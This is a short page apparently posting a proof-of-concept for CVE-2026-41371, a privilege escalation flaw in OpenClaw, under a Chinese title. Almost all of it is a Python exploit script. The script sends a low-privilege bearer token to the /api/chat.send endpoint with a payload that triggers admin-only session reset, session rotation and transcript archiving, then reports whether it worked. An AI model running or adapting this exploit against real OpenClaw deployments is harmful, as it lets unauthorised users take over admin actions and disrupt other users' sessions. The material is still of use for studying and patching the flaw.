CVE-2026-41371 OpenClaw权限提升漏洞

import requests def exploit_openclaw(target_url, token): """ PoC for CVE-2026-41371: Privilege Escalation via chat.send This script demonstrates how a low-privileged user can trigger admin-only session reset operations. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload to trigger session reset (admin scope action) payload = { "command": "reset", "rotate_session": True, "archive_transcript": True, "force_new_id": True } try: # Send request to the vulnerable endpoint response = requests.post(f"{target_url}/api/chat.send", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Session reset triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance" user_token = "LOW_PRIVILEGE_TOKEN_HERE" exploit_openclaw(target, user_token)